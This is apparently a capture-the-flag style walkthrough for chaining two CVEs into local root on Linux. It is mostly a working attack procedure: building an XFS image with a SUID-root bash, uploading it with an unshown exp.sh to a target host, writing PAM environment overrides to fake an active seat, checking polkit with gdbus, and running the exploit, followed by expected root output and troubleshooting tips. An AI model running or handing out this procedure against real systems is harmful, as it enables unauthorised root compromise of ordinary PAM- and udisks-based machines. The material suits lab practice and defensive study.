CVE-2025-6018 + CVE-2025-6019 Privilege Escalation Guide

中文

📋 Quick Exploitation Steps

Step 1: Prepare XFS Image (Local Machine)

# Create 300MB XFS image
dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs -f xfs.image

# Mount and install SUID bash
mkdir mnt
sudo mount -t xfs xfs.image mnt
sudo cp /bin/bash mnt/bash
sudo chmod 4755 mnt/bash
sudo umount mnt
rmdir mnt

# Verify (should show 300M)
ls -lh xfs.image

---

Step 2: Upload Files to Target

# Upload exploit script and image
scp exp.sh abc@10.129.252.9:~/
scp xfs.image abc@10.129.252.9:~/

---

Step 3: First Login - Configure PAM

# SSH login to target
ssh phileasfogg3@10.129.252.9

# Write PAM environment variables
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF

# Verify configuration
cat ~/.pam_environment

# 🔥 Critical: Logout (to activate PAM config)
exit

---

Step 4: Second Login - Execute Privilege Escalation

# Re-login via SSH (PAM config now active)
ssh phileasfogg3@10.129.252.9

# Verify PAM is active (should return "('yes',)")
gdbus call --system --dest org.freedesktop.login1 \
    --object-path /org/freedesktop/login1 \
    --method org.freedesktop.login1.Manager.CanReboot

# Execute privilege escalation script
bash exp.sh

---

✅ Success Indicators

If exploitation succeeds, you should see:

✓ SUID bash found: /tmp/blockdev_loop0_xfs_xxxxx/bash
✓ Root access confirmed!

════════════════════════════════════════════════════════════
║ ROOT FLAG                                               ║
║ <flag_here>                                             ║
════════════════════════════════════════════════════════════

bash-5.2# whoami
root

---

🔧 Troubleshooting

Issue	Solution
CanReboot returns ('no',)	Make sure you logged out and back in (Step 3)
Not authorized error	Check ~/.pam_environment content is correct
SUID bash not found	Re-upload xfs.image and verify SUID bit is set

---

📌 Key Points

• ✅ Must logout and re-login: PAM config only takes effect in new sessions
• ✅ Verify CanReboot: Confirm it returns ('yes',) before running script
• ✅ Use SSH login: Don't use ssh -t user@host "cmd" style execution

---

🐱 Cat Guardian

If it fails, ensure every step is executed strictly in order!